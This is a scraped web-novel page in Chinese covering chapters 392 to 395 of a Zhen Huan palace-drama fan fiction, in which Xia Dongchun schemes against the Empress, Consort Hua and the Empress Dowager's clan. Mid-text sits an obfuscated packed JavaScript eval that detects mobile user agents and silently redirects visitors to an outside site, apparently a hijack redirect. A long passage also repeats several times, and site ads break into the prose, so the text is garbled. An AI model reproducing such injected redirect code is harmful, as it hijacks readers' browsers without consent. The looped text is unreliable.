底下一个梳着盘辫的妇人突然开口:“好处?宫里那位惠贵人可是个能得罪人的,就这么几个月的功夫,皇后华妃都没逃了她那张嘴。 这位本该送进皇上后宫的乌雅秀琳在康熙六十年时被当时的德妃所拒,嫁给了兆佳氏一位五毒俱全的庶子,如今已经是个有钱没儿没女没男人的寡妇了。 “是啊,皇后和华妃都没逃了那张嘴,她还是从常在变成了贵人。如今为何联系咱们乌雅氏?还不是那位太后想着给皇后出气惹了人家不痛快? 乌雅氏没有女子不议事的规矩,满人家的姑奶奶,只要是一心向着家族的,都可以参与任何家族事务讨论。 这位乌雅慧敏,虽然还未定亲,但是聪慧机敏是元年从宫里回家的宫女,见识广,人也深沉。 “哼,给乌拉那拉氏擦屁股,咱们家倒出了个吃里扒外的。 对于太后的做法,族里都不痛快,但是地位在这儿,他们也只能嘴上出出气了。 “慢慢来吧,付出点总要得到点什么,空手套白狼的,咱们乌雅氏已经吃了一遭亏了。 今日乌雅氏的家族会议结束,夏威的目的初见成果。 他们也不是为了拉拢乌雅氏,只要能给太后添点堵就行,叫她欺负他闺女。 又是一个月初,太后捻着佛珠跪在小佛堂里为宫外的小儿子祈祷。 门外的竹息脚步徘徊几圈,却碍于太后的吩咐不曾上前。 “你这是怎么了? 竹息少了以往的稳重,作为多年的主仆,太后自然看的分明。 “太后娘娘,这是族里的孝敬。 竹息的脸色有些难看,双手托举着一个刷了金漆的托盘,上头放着一沓薄薄的银票并一封信。 太后曾经是孝懿仁皇后的教书侍女,算不得有文化,但简单的识字还是可以的。 她随手扒拉了几下,捡起信三两眼看完,本就不痛快的心更添了一块臭石头,压的她喘不过气。 “什么族里收成减少,打量着哀家不理俗事就变成傻子了不成? 日常最高能有上万两 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的孝敬,这个月只余三千两。这让时不时给远离京城的小儿子送温暖的太后如何能接受? “太后娘娘息怒,想来族里也有自己的难处。” 竹息的话像是一滴热油落进滚烫的开水中,太后一挥手,把桌子上的描金仙鹤娇黄釉茶杯掼到了地上。 柔软的波斯毯子被浸湿,竹息蹲在地上把这残局收拾妥当,安安静静的站在太后身边当木头桩子。 不是她不想劝而是劝不住。当初拉拔乌拉那拉氏时竹息还觉得是条好路,只是没想到太后如此倔强,连自己族里的侄女都推拒了。当时乌雅氏并没有说什么,竹息还以为这件事就这么过去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168698|175486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没想到时隔也就两年不到,这该来的还是来了。 “既如此,想来族里是不稀罕咱们的帮持了。竹息,叫咱们的人不必自作多情。” 这话听的竹息都尴尬了起来,她在心里组织了一下言语,小心翼翼的说道:“太后娘娘,咱们的人手都是乌雅氏的。这么些年,也未有什么帮扶。” 用着乌雅氏的人,花着乌雅氏的钱,却帮扶着乌拉那拉氏一族。 这叫什么?竹息在心里默默的念了三个字:白眼狼。 太后怔愣了一下,多年高高在上颐指气使惯了,如今想要做些什么才发现,靠的都是娘家。 “罢了,过两日叫秀琳进宫坐坐。哀家也许久没见到小辈了。” 秀琳是太后唯一能记住的侄女名字,然而竹息却在心里叹了口气:“娘娘您忘了?秀琳格格去年年初嫁去了兆佳氏,如今正是孝期,不方便进宫。” 太后不是忘了,而是没有把秀琳这事放在心上。 主仆俩又絮絮叨叨了许久,思来想去也不过是施恩一二,只是还未等她们有所行动,夏冬春便捏着夏家的人手联络到了乌雅氏在宫里的人。 “你们能给我什么好处?咱们交换着来,不然我为什么要信你们?太后娘娘可没这么良善。” 负责联络惠贵人的乃是乌雅氏的姑娘玉霞,如今在御膳房任职,擅长不同种类的点心,是东西六宫有钱的娘娘小主们最喜欢去的地方。 “奴婢在御膳房当差,小主若是有需要的,尽管来找奴婢就是。” 夏冬春围着玉霞转了两圈,鼻尖耸动,确实闻到了一股香甜的气息。 “我听闻莞常在脾胃不好。” 玉霞面无表情的行了一礼:“冬日里饭菜本就不易保暖,脾胃不好的小主更应当注意些。” 夏冬春还在禁足,能避开人往她这里送点心本就不简单。和乌雅氏联手不过是利益驱使,太后和皇后叫她不痛快,她自然不能就这么咽下这口气。 玉霞的动作很快,即便夏冬春在储秀宫不能出门也听到了欣常在那刻意放大的嗓门。 “惠贵人,听说碎玉轩的莞常在伴驾时突发恶疾,出了虚恭不说还带出了皇上大怒,把人直接禁足了。” 夏冬春扒在窗户口伸着脑袋兴致勃勃的看着欣常在:“这可是奇了,哪有女子这般恶心的。” 欣常在赞同的点点头,这确实十分恶心了。听闻太医也瞧了,只不过是普通的肠胃不适。 “那莞常在还嚷嚷着有人害她呢。真是好笑,就她一个常在,能有什么本事叫人盯着她陷害的。” 夏冬春深以为然:“她为什么总想着是别人的过错,好奇怪的人。” 第393 章 夏冬春10 乌雅氏的诚意很足,夏冬春也不含糊。 她只是稍微提点几句,等她禁足结束后,宫里头就多了位乌雅答应。 双方都对合作方的诚实守信干脆利落表示了欣喜,这宫里头讲什么亲族情分都是虚的,还得是这种利益互换更为牢固。 夏威听闻自家傻闺女帮助乌雅氏送了女子到皇上身边,慌的像咬不着尾巴的狗一样在屋里头转圈。 快到年关,已经从军营回家的夏冬春的大哥和三哥都在一旁坐着,两人眼睛冒着金光,感觉午膳要涌了上来。 “阿玛,阿玛,你歇一歇吧。” 再这么转悠下去,他们哥俩没死在战场上,就要死在亲爹的脚下了。 “不孝子!你们妹妹在宫里头过的是什么水深火热的日子,你们两个居然还有心思歇着。” 夏英武和夏威武相视一眼叹了口气,他们也没想到就出门打个仗的功夫,妹妹被皇上相中进了宫。皇上都多大岁数了?怎么好意思的呢? “春儿那里阿玛你安排好人手了吗?钱可得送够了,那些包衣都是些什么人咱们都有数。” 夏英武想着自家那个咋咋呼呼的妹妹就头疼,不怕她牵连家里,就怕得罪人不自知受了委屈可怎么办才好。 夏威坐在椅子上抬头看着湛蓝的天:“送了,该送的都送了,但是你妹妹又和乌雅氏扯上了关系,阿玛这心里是七上八下的。” “乌雅氏?” 夏威武嘟囔一句眼睛越来越亮。 “阿玛,春儿长脑子了!” 这夏家最聪明的人,当属夏冬春的三哥夏威武。 他从前都做好了娶一个和自家妹子说的来的女子,即便和春儿一样吵的人头疼,但只要和小妹关系好,就值得。 没成想任职在九门提督,得了上司的赏识非要把女儿嫁给他。这次回家本想着是叫夏冬春瞧瞧乐不乐意的。却怎么也想不到自家妹子比他快一步,直接进了宫给皇上当小妾去了。 “什么话!” 夏威随手把桌子上的把玩扔了出去,看着夏威武就来气。 夏威武熟练的接过那巴掌大小的玉蟾,开口解释道:“阿玛,你只想着这乌雅氏进宫会分了小妹的恩宠,但阿玛你想想,皇上若是真的特别待见乌雅氏,还需要小妹引荐吗?” 皇上对太后的母家基本可以说是视而不见,这其中缘由大家虽然不知道,但这些不重要,他们只看重结果。 夏威被说的开动了大脑,只是稍有些思路,就被咔嚓咔嚓的动静打断。 一抬头看着啃这苹果的大儿子,简直气不打一处来。 “老大,你再发出动静就去祠堂跪着。” 夏英武委委屈屈的把苹果放回到桌子上,像小山一样的身躯微微佝偻着,看着可怜兮兮的。 “阿玛,你又不是不知道儿子,儿子转不过来这些事。” 夏英武孔武有力,能举起三百斤石头能拉动十三力弓。但若是要动脑子,那就真的很抱歉了。 “阿玛,咱们这位太后在皇上登基时使了多少绊子基本无人不知。这些年乌雅氏收敛的财力究竟有多少送进寿康宫咱们虽然不知道。但是皇上花没花到还是能窥见一二。 那这银子,皇上没有花,太后据说也很节俭,都去了哪里了?” 去了哪里,即便夏英武是个没什么脑子的都知道,去了十四爷那儿呗。 “乌雅氏无非是想再要一个皇子。皇上和乌雅氏不亲近,自然是想要为以后筹谋的。” 皇上可能会因为美色对那位新得的乌雅答应照顾一二,但凭着那记仇的性子,一宫主位都不太可能。 夏威武分析的很对,但并不全是夏冬春的计划。 皇上对乌雅氏的面子情本就没有,能收一个答应已经是见色起意下的全部抬举。而夏冬春也不准备叫乌雅氏得意到下一朝,毕竟包衣对内务府的腐蚀最大头就在乌雅氏身上。 没关系,太后还在,最后一波叫太后把自己母家带下去,也算是为族里做些贡献了。 不过当下,夏冬春还是需要乌雅氏的。给太后,皇后和华妃等人添堵,乌雅氏明显比夏家更得心应手。 “那就按照春儿的心意来,咱们不要过多插手。快到年下了,给春儿的年礼你们都准备准备,时兴的首饰布料都是其次,金银之物最是得用。春儿在宫里头干什么都不方便,少不得过的束手束脚的不痛快。” 说这个,夏英武总算是能插上话了。 “阿玛放心,儿子跟着鄂尔奇大人刚从剿匪出来,正好给小妹送年礼。” 夏威武在九门提督下负责京城内的巡逻防盗 等,不过前几个月升职去了外城领兵负责郊区的治安。而夏英武也在九门提督范围内,只不过隶属八旗步军,他负责缉盗和剿匪。 众所周知,剿匪是个肥差。夏英武又是个能干的,别看他憨,藏钱可是有一手。 夏威武又写了信通过夏家的渠道送进小妹手里,叮嘱她小心与乌雅氏一族合作,出了个太后那么个白眼狼,这族里头指不定还有多少白眼狼呢。 夏冬春也笑着给她三哥回信,乌雅氏利用她她也利用乌雅氏,各取所需,只看最后谁棋高一着了。左右她没有必当太后的KPI,所以格外的随心所欲。 “三少爷送来了一匣子金镯子,都是小主喜欢的样式呢。” 知道自家妹妹喜爱华丽之物,夏威武送礼当然要投其所好。 夏冬春挑了一个戴在手上,金灿灿镶着透亮的红宝石,格外的衬肤色。 “走,给皇后娘娘请安去。” 晨昏定省,皇后严格遵守着这苛刻的规矩。 “皇后娘娘,这年宴怎么是华妃娘娘负责的?您为什么不用干活?” 皇后和华妃脸上的笑意同时僵在那里,看向夏冬春时,眼里的怒火能点燃雪地里的枯树枝。 夏冬春坐在敬嫔身边,虽然敬嫔很想拉一把,但拉不住。 “惠贵人倒是对本宫意见很大。” 华妃的语气阴恻恻的,听的人心里头毛**楞楞。 当然,这是在其她人耳中。夏冬春没心没肺的,哪里能听懂这些弯弯绕绕。 “为什么这么说啊?嫔妾只是问一问也不行吗?毕竟嫔妾在府上学规矩的时候嬷嬷也说过,宫务是皇后娘娘的活计啊。” 夏冬春说的又没错,华妃即使不痛快也没办法反驳。 “皇后娘娘身子不适,皇上叫本宫负责,惠贵人可有异议?” 身子不适这个借口皇后总用。 夏冬春看向皇后眨巴眨巴眼睛:“皇后娘娘身子不适?那为什么还叫咱们来请安?若是咱们身子都不适,谁来伺候皇上?” 皇后深吸口气,身子不适是借口,主要是皇上想用华妃的钱。 若是被皇上知道了,这个罪还是会扣到她头上。 “惠贵人说的有理,本宫也正想跟大家说一声。正好到了年下,逢五请晨安就是。” 就这么一个彰显自己身为皇后的威严的场合还被夏冬春搅和了,皇后是真恨啊。 可惜,太后最近钱不趁手人也不趁手,实在无计可施啊。 等,不过前几个月升职去了外城领兵负责郊区的治安。而夏英武也在九门提督范围内,只不过隶属八旗步军,他负责缉盗和剿匪。 众所周知,剿匪是个肥差。夏英武又是个能干的,别看他憨,藏钱可是有一手。 夏威武又写了信通过夏家的渠道送进小妹手里,叮嘱她小心与乌雅氏一族合作,出了个太后那么个白眼狼,这族里头指不定还有多少白眼狼呢。 夏冬春也笑着给她三哥回信,乌雅氏利用她她也利用乌雅氏,各取所需,只看最后谁棋高一着了。左右她没有必当太后的KPI,所以格外的随心所欲。 “三少爷送来了一匣子金镯子,都是小主喜欢的样式呢。” 知道自家妹妹喜爱华丽之物,夏威武送礼当然要投其所好。 夏冬春挑了一个戴在手上,金灿灿镶着透亮的红宝石,格外的衬肤色。 “走,给皇后娘娘请安去。” 晨昏定省,皇后严格遵守着这苛刻的规矩。 “皇后娘娘,这年宴怎么是华妃娘娘负责的?您为什么不用干活?” 皇后和华妃脸上的笑意同时僵在那里,看向夏冬春时,眼里的怒火能点燃雪地里的枯树枝。 夏冬春坐在敬嫔身边,虽然敬嫔很想拉一把,但拉不住。 “惠贵人倒是对本宫意见很大。” 华妃的语气阴恻恻的,听的人心里头毛**楞楞。 当然,这是在其她人耳中。夏冬春没心没肺的,哪里能听懂这些弯弯绕绕。 “为什么这么说啊?嫔妾只是问一问也不行吗?毕竟嫔妾在府上学规矩的时候嬷嬷也说过,宫务是皇后娘娘的活计啊。” 夏冬春说的又没错,华妃即使不痛快也没办法反驳。 “皇后娘娘身子不适,皇上叫本宫负责,惠贵人可有异议?” 身子不适这个借口皇后总用。 夏冬春看向皇后眨巴眨巴眼睛:“皇后娘娘身子不适?那为什么还叫咱们来请安?若是咱们身子都不适,谁来伺候皇上?” 皇后深吸口气,身子不适是借口,主要是皇上想用华妃的钱。 若是被皇上知道了,这个罪还是会扣到她头上。 “惠贵人说的有理,本宫也正想跟大家说一声。正好到了年下,逢五请晨安就是。” 就这么一个彰显自己身为皇后的威严的场合还被夏冬春搅和了,皇后是真恨啊。 可惜,太后最近钱不趁手人也不趁手,实在无计可施啊。 等,不过前几个月升职去了外城领兵负责郊区的治安。而夏英武也在九门提督范围内,只不过隶属八旗步军,他负责缉盗和剿匪。 众所周知,剿匪是个肥差。夏英武又是个能干的,别看他憨,藏钱可是有一手。 夏威武又写了信通过夏家的渠道送进小妹手里,叮嘱她小心与乌雅氏一族合作,出了个太后那么个白眼狼,这族里头指不定还有多少白眼狼呢。 夏冬春也笑着给她三哥回信,乌雅氏利用她她也利用乌雅氏,各取所需,只看最后谁棋高一着了。左右她没有必当太后的KPI,所以格外的随心所欲。 “三少爷送来了一匣子金镯子,都是小主喜欢的样式呢。” 知道自家妹妹喜爱华丽之物,夏威武送礼当然要投其所好。 夏冬春挑了一个戴在手上,金灿灿镶着透亮的红宝石,格外的衬肤色。 “走,给皇后娘娘请安去。” 晨昏定省,皇后严格遵守着这苛刻的规矩。 “皇后娘娘,这年宴怎么是华妃娘娘负责的?您为什么不用干活?” 皇后和华妃脸上的笑意同时僵在那里,看向夏冬春时,眼里的怒火能点燃雪地里的枯树枝。 夏冬春坐在敬嫔身边,虽然敬嫔很想拉一把,但拉不住。 “惠贵人倒是对本宫意见很大。” 华妃的语气阴恻恻的,听的人心里头毛**楞楞。 当然,这是在其她人耳中。夏冬春没心没肺的,哪里能听懂这些弯弯绕绕。 “为什么这么说啊?嫔妾只是问一问也不行吗?毕竟嫔妾在府上学规矩的时候嬷嬷也说过,宫务是皇后娘娘的活计啊。” 夏冬春说的又没错,华妃即使不痛快也没办法反驳。 “皇后娘娘身子不适,皇上叫本宫负责,惠贵人可有异议?” 身子不适这个借口皇后总用。 夏冬春看向皇后眨巴眨巴眼睛:“皇后娘娘身子不适?那为什么还叫咱们来请安?若是咱们身子都不适,谁来伺候皇上?” 皇后深吸口气,身子不适是借口,主要是皇上想用华妃的钱。 若是被皇上知道了,这个罪还是会扣到她头上。 “惠贵人说的有理,本宫也正想跟大家说一声。正好到了年下,逢五请晨安就是。” 就这么一个彰显自己身为皇后的威严的场合还被夏冬春搅和了,皇后是真恨啊。 可惜,太后最近钱不趁手人也不趁手,实在无计可施啊。 等,不过前几个月升职去了外城领兵负责郊区的治安。而夏英武也在九门提督范围内,只不过隶属八旗步军,他负责缉盗和剿匪。 众所周知,剿匪是个肥差。夏英武又是个能干的,别看他憨,藏钱可是有一手。 夏威武又写了信通过夏家的渠道送进小妹手里,叮嘱她小心与乌雅氏一族合作,出了个太后那么个白眼狼,这族里头指不定还有多少白眼狼呢。 夏冬春也笑着给她三哥回信,乌雅氏利用她她也利用乌雅氏,各取所需,只看最后谁棋高一着了。左右她没有必当太后的KPI,所以格外的随心所欲。 “三少爷送来了一匣子金镯子,都是小主喜欢的样式呢。” 知道自家妹妹喜爱华丽之物,夏威武送礼当然要投其所好。 夏冬春挑了一个戴在手上,金灿灿镶着透亮的红宝石,格外的衬肤色。 “走,给皇后娘娘请安去。” 晨昏定省,皇后严格遵守着这苛刻的规矩。 “皇后娘娘,这年宴怎么是华妃娘娘负责的?您为什么不用干活?” 皇后和华妃脸上的笑意同时僵在那里,看向夏冬春时,眼里的怒火能点燃雪地里的枯树枝。 夏冬春坐在敬嫔身边,虽然敬嫔很想拉一把,但拉不住。 “惠贵人倒是对本宫意见很大。” 华妃的语气阴恻恻的,听的人心里头毛**楞楞。 当然,这是在其她人耳中。夏冬春没心没肺的,哪里能听懂这些弯弯绕绕。 “为什么这么说啊?嫔妾只是问一问也不行吗?毕竟嫔妾在府上学规矩的时候嬷嬷也说过,宫务是皇后娘娘的活计啊。” 夏冬春说的又没错,华妃即使不痛快也没办法反驳。 “皇后娘娘身子不适,皇上叫本宫负责,惠贵人可有异议?” 身子不适这个借口皇后总用。 夏冬春看向皇后眨巴眨巴眼睛:“皇后娘娘身子不适?那为什么还叫咱们来请安?若是咱们身子都不适,谁来伺候皇上?” 皇后深吸口气,身子不适是借口,主要是皇上想用华妃的钱。 若是被皇上知道了,这个罪还是会扣到她头上。 “惠贵人说的有理,本宫也正想跟大家说一声。正好到了年下,逢五请晨安就是。” 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晨昏定省,皇后严格遵守着这苛刻的规矩。 “皇后娘娘,这年宴怎么是华妃娘娘负责的?您为什么不用干活?” 皇后和华妃脸上的笑意同时僵在那里,看向夏冬春时,眼里的怒火能点燃雪地里的枯树枝。 夏冬春坐在敬嫔身边,虽然敬嫔很想拉一把,但拉不住。 “惠贵人倒是对本宫意见很大。” 华妃的语气阴恻恻的,听的人心里头毛**楞楞。 当然,这是在其她人耳中。夏冬春没心没肺的,哪里能听懂这些弯弯绕绕。 “为什么这么说啊?嫔妾只是问一问也不行吗?毕竟嫔妾在府上学规矩的时候嬷嬷也说过,宫务是皇后娘娘的活计啊。” 夏冬春说的又没错,华妃即使不痛快也没办法反驳。 “皇后娘娘身子不适,皇上叫本宫负责,惠贵人可有异议?” 身子不适这个借口皇后总用。 夏冬春看向皇后眨巴眨巴眼睛:“皇后娘娘身子不适?那为什么还叫咱们来请安?若是咱们身子都不适,谁来伺候皇上?” 皇后深吸口气,身子不适是借口,主要是皇上想用华妃的钱。 若是被皇上知道了,这个罪还是会扣到她头上。 “惠贵人说的有理,本宫也正想跟大家说一声。正好到了年下,逢五请晨安就是。” 就这么一个彰显自己身为皇后的威严的场合还被夏冬春搅和了,皇后是真恨啊。 可惜,太后最近钱不趁手人也不趁手,实在无计可施啊。 等,不过前几个月升职去了外城领兵负责郊区的治安。而夏英武也在九门提督范围内,只不过隶属八旗步军,他负责缉盗和剿匪。 众所周知,剿匪是个肥差。夏英武又是个能干的,别看他憨,藏钱可是有一手。 夏威武又写了信通过夏家的渠道送进小妹手里,叮嘱她小心与乌雅氏一族合作,出了个太后那么个白眼狼,这族里头指不定还有多少白眼狼呢。 夏冬春也笑着给她三哥回信,乌雅氏利用她她也利用乌雅氏,各取所需,只看最后谁棋高一着了。左右她没有必当太后的KPI,所以格外的随心所欲。 “三少爷送来了一匣子金镯子,都是小主喜欢的样式呢。” 知道自家妹妹喜爱华丽之物,夏威武送礼当然要投其所好。 夏冬春挑了一个戴在手上,金灿灿镶着透亮的红宝石,格外的衬肤色。 “走,给皇后娘娘请安去。” 晨昏定省,皇后严格遵守着这苛刻的规矩。 “皇后娘娘,这年宴怎么是华妃娘娘负责的?您为什么不用干活?” 皇后和华妃脸上的笑意同时僵在那里,看向夏冬春时,眼里的怒火能点燃雪地里的枯树枝。 夏冬春坐在敬嫔身边,虽然敬嫔很想拉一把,但拉不住。 “惠贵人倒是对本宫意见很大。” 华妃的语气阴恻恻的,听的人心里头毛**楞楞。 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夏冬春看向皇后眨巴眨巴眼睛:“皇后娘娘身子不适?那为什么还叫咱们来请安?若是咱们身子都不适,谁来伺候皇上?” 皇后深吸口气,身子不适是借口,主要是皇上想用华妃的钱。 若是被皇上知道了,这个罪还是会扣到她头上。 “惠贵人说的有理,本宫也正想跟大家说一声。正好到了年下,逢五请晨安就是。” 就这么一个彰显自己身为皇后的威严的场合还被夏冬春搅和了,皇后是真恨啊。 可惜,太后最近钱不趁手人也不趁手,实在无计可施啊。 第394 章 夏冬春11 “富察贵人,我在储秀宫攒了一个小宴,今儿御膳房新到了嫩羊羔,准备了菌子底的锅子,你要不要一起来尝尝?” 随着皇后叫了散,夏冬春拉了一下手边的敬嫔,得了一个温婉的笑脸后又跑向了富察贵人身边。 这些时日皇上都忙着处理朝政会见大臣,夏冬春便打算趁着雪景吃个热气腾腾的锅子,也是一番乐趣。 单是她和欣常在未免不够热闹,便又邀了手边的敬嫔和搬到了延禧宫的淳常在。 要说这淳常在和夏冬春的缘分还是挺巧妙的,毕竟这位莞常在早早得宠后又连累了家人,淳常在自然不会再凑上去,家中托了关系,直接搬离了碎玉轩。 她爱吃倒也不完全是伪装,年纪轻胃口大,御膳房那边总能看见淳常在身边的宫女茯苓的身影,自然和夏冬春身边的秋香有了交集。 因为一盘新鲜出炉的玫瑰软糕,夏冬春和淳常在有了深厚的点心之谊,这次锅子小聚,当然也少不了淳常在那张嘴。 富察贵人一直和安陵容同住延禧宫,她早就受够了那张总是苦着一张脸的答应,闻言也不思考,直接点头应了下来。 “正好今日点了一道金蟾玉鲍,一会儿直接送去储秀宫去,咱们一起尝个鲜。” 富察贵人不缺钱,贵人份例里的那点东西她还真看不上,每日都要拿钱寻些美味才好。 “好啊,你可要回去换衣裳?若是不去,咱们就一同回我那里,请安前,我叫我的婢女温了一盅黄芪枸杞乳鸽汤,这冬日里啊,补气升阳最是调理气血的。” 富察贵人看了眼今日很得体的衣裳十分意动。 “那就不换了,左右也不过是换两个簪子的事。” 进宫也有小半年了,富察贵人除了在自个儿宫里坐着也没什么活动,对夏冬春的邀约十分的向往。 敬嫔已经和欣常在相携离开,夏冬春和富察贵人虽然不算太熟络,不过起了一个吐槽莞常在的话头,两人便立刻亲密无间了起来。 “也不知道莞常在闺中时都在做什么?这素日里的规矩她是一点也不知道,看见我还一脸傲气,和她身边那不着四六的宫女一样,不知所谓。” 甄嬛虽然对皇上那飘渺的宠爱有些患得患失,但对上不算受宠的富察贵人,还是很有优越感的。 “那你为什么不骂她?她是常在你是 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 贵人,你莫不是被她给压了一头吧?” 夏冬春用审视的眼神打量了一圈富察贵人,似乎在说“你要是这么怂,我可不跟你做好朋友。” 富察贵人被那表情激的气血上涌:“我哪里愿意如此,莞常在这个人你又不是不知道,她说话总是夹枪带棒的,皇上偏吃她那一套。” 作为一个没什么脑子又是从小受宠没吃过暗亏的富察小笨蛋,对上天然茶并且有脑子的甄嬛,总是说不赢也打不过。再加上皇上的偏颇,她是有苦难言。 夏冬春十分嫌弃的瞥了她一眼:“你可真丢你富察氏这个姓氏的脸。你为什么跟她吵吵,直接写信回家叫你阿玛给她爹套上麻袋捶一顿不好吗?” 富察贵人愣在原地,半晌脸上重现欣喜。 那微扬的嘴角越翘越高,仿佛是打开了新世界的大门一样,无数的点子喷涌而出。 “春儿!你怎么那么厉害!!” 夏冬春被这句真挚的恭维钓的嘴角往耳朵根那儿咧去,得意的摸了摸耳边描金的紫玉蝴蝶耳坠,下巴抬的高高的。 “你呀就是太老实才会被莞常在欺负,凭你的姓氏,这宫里头就没有你不能去的地儿,知道吗?” 富察贵人深以为然,把进宫前被族里的长辈叮嘱的谨慎低调抛在了脑后,现在她奉夏冬春的话为圭臬。 夏冬春满意的看着被挑起了斗志的富察贵人,在心里哼着歌。 小打小闹而已,她就不信皇上能因为这点破事把她们禁足了。只要能给甄嬛几人添堵,她都是乐此不疲的去做。 更重要的原因还有一个,她现在位分太低,又不是很情愿天天都巴巴的讨好皇上去。万一哪天又被太后禁足,外头安静下来可怎么好? 等储秀宫热闹起来,御膳房的小太监专门来送了一次食盒。没办法,这些个娘娘小主们给的太多了,他们得亲自送货上门。 “惠贵人,这是您今日点的蟠枝瑞宝,奴才给您送来了。” 夏冬春抬了抬下巴,示意秋香给了赏银:“嗯,放下吧。” 其实她什么也没点,可能是玉霞送了信过来,所以秋香第一时间接过了食盒检查了一番。 西偏殿虽然不算大,但夏冬春又不是个喜好读书的,那旁人乐意附庸风雅装饰的小书房,被夏冬春一并合在了外殿里,铺了毯子的太师椅,各种毛皮包裹而 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 成的迎 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这后宫的女子就是为皇上生儿育女的工具,虽然这话不好听但却是事实。 淳常在咽下嘴里那一整个的芸豆卷,顺了口茶:“听说莞常在在选秀时和皇上聊了诗句,应当是瞧中了莞常在的才能?” 淳常在并没有表现出的那份天真,但她谋划的和夏冬春也没什么冲突,不过是恩宠,想要就出花招去抢。她对人的情绪有很厉害的感知,所以选择夏冬春也调整了自己的方案,真诚增加,也减去了那些撒娇卖痴的情节。 “我听说是一句诗。” 敬嫔还是有些渠道的,虽然大用不算多,小道消息还是能扫听一二。 “嬛嬛一袅楚宫腰嘛。” 夏冬春大大咧咧的说道,她又不爱读书,所以并没有察觉什么不对。 但敬嫔和淳常在是有文化的,两人面面相觑,不明白这有什么可得意的。 “算了不说这个。” 欣常在瞧着敬嫔的脸色不对,马上转移了话题。 只不过她好心办坏事,把话题说到了咸福宫的沈贵人身上。 敬嫔的脸色更难看了。 “哈哈,欣妹妹你是不知道,那位沈贵人更是有趣的很。天天往碎玉轩去请安,也不知道是进宫来给皇上当妃妾了还是给莞常在当奴才了。” 夏冬春笑的放肆,敬嫔的表情苦涩。 第395 章 夏冬春12 这说着话,锅子都摆好了。热气腾腾的在屋子里头冒着烟,香味儿直往大家的鼻子里钻。 “快,咱们边吃边说。” 呼啦啦的站起来五个风格迥异的美人,热闹的动静随着寒风慢慢飘去了银装素裹的御花园。 给太后请了安还不走的果郡王被隐隐绰绰的笑闹声吸引,站在碎玉轩前头戏台子的宫墙外,看着那干枯的树枝有些出神。 而郁郁寡欢的甄嬛拒绝了浣碧等人的陪同,自己一个人举着伞走了出来。 “朔风如解意,容易莫摧残。” 这清朗的男声吸引到了甄嬛,她脚尖一转,本向着御花园的步伐转了个弯,看着远处那欣长的身影慢慢靠近。 “你是谁?如何在我这宫墙外头站着?” 她穿着淡紫色的兔皮比甲,披着一个银色的斗篷,举着一把淡青色的纸伞,伞轻轻扬起,露出一张清丽的芙蓉面。 果郡王被这副容颜惊了一下,但随即又有些欣赏:“扰了贵人的清净,是小王的不是。” 他转身面向着甄嬛,腰间的长相思也露在甄嬛眼前。 “嫔妾见过果郡王。” 甄嬛微微福了福身,对果郡王露出一个温婉的微笑。 “好聪明的小主,是小王唐突了。” “逆风如介意,容易莫摧残,想来王爷也是情之所至。” 两人对这句诗有不同的见解,就这么光天化日的站在御花园旁的宫墙外旁若无人的聊了起来。 随着储秀宫的声音越来越小,果郡王知道自己必须得离开了。 “耽误了小主许久,小王也该出宫了。不知离开前,可有幸知道小主的名讳?” 如此畅快的聊天是甄嬛许久没有经历过了,她慢慢收敛笑意点了点头:“不过是萍水相逢,嫔妾先离开了。” 她没有回答,却在果郡王的注视中推开了碎玉轩的大门。 果郡王看了眼吓的满脸都是谨慎之色的阿晋,得了一个命苦的笑脸。 “好了,不过是以诗会友,做什么这个样子。” 阿晋摸了摸自己还在跳动的心脏点了点头,只是主仆俩还是过于低估了紫禁城的防守了。 送走了几个聊天搭子,夏冬春打了个哈欠倚在迎枕上任由秋香和秋丽拆卸 头饰。 “小主,御花园的小金子传来了消息,果郡王在碎玉轩前头的宫墙处偶遇了莞常在。两个人相聊甚欢,约莫有两刻钟的功夫。” 夏冬春混沌的意识骤然惊醒,这该死的缘分竟然提前了?这两人怕不是天作之合吧? “可有其他人瞧见?” 御花园冰天雪地的,值守的宫人本就不多,果郡王的胆子是越来越大了。 汀雪摇了摇头:“小金子今日也是当值,这大中午的,大家都在趁着主子们用膳的功夫填饱肚子。” 夏冬春想了想,和汀雪耳语了几句。 汀雪面色复杂又有些兴奋的行了一礼跑了出去。 隔了约莫四五天,汀雪一脸激动对着夏冬春说了一句:“小主,成了。” 看着汀雪手里那厚厚的一沓银票,夏冬春抽出一张面值最小的,五百两,塞进自己的袖子里。 “走,去给皇上请安去。” 宫道上的雪已经被清理了大半,留出一条窄窄的小路供贵人们行走。 夏冬春也没有坐暖轿,抱着一个暖炉晃晃悠悠的往养心殿走。 汀雪继续扫尾,把自己人藏的严实。 这些银票是从**峰的舒太妃处**而来,她那宝贝儿子在宫里头调戏宫妃,想要叫人闭嘴,总要付出些代价。 虽然这母子俩手里确实有先帝留下的人手,但很可惜,一朝天子一朝臣,这些人并不是很卖力。 夏威的人多绕了几个圈子,顺便扔在寒风中一包**,就消失在了僻静的甘露寺外。 “皇上您忙吗?” 得了通秉,夏冬春扒着头看着坐在软榻上看书的皇上小声的询问。 皇上没有抬头,那浓郁的百花香很快就霸道的侵占了整个养心殿的偏殿,惹得他鼻子痒痒的。 “你做什么怪样子?过来坐着。” 夏冬春嘿嘿一笑,小跑着坐到皇上对面。 白嫩的手攥着一张皱皱巴巴的银票推到皇上面前。 “你这是做什么?” 皇上无奈的放下手里的书,只觉得这父女俩求人办事都是一个路子。 夏冬春对了对手指,表情带了一些没有被知识污染过的清澈。 “皇上,年宴时嫔妾能 不能和富察贵人一个桌子?” 年宴时华妃负责的,夏冬春去问过了,被打发了出来,她还是不服气。 瞧着皇上没有说话,夏冬春也不气馁:“皇上,为什么华妃娘娘非要给嫔妾安排在沈贵人一起啊,嫔妾不喜欢沈贵人。” 皇上腹诽,就是知道你俩不对付华妃才这么安排的。她不喜欢你们两个。 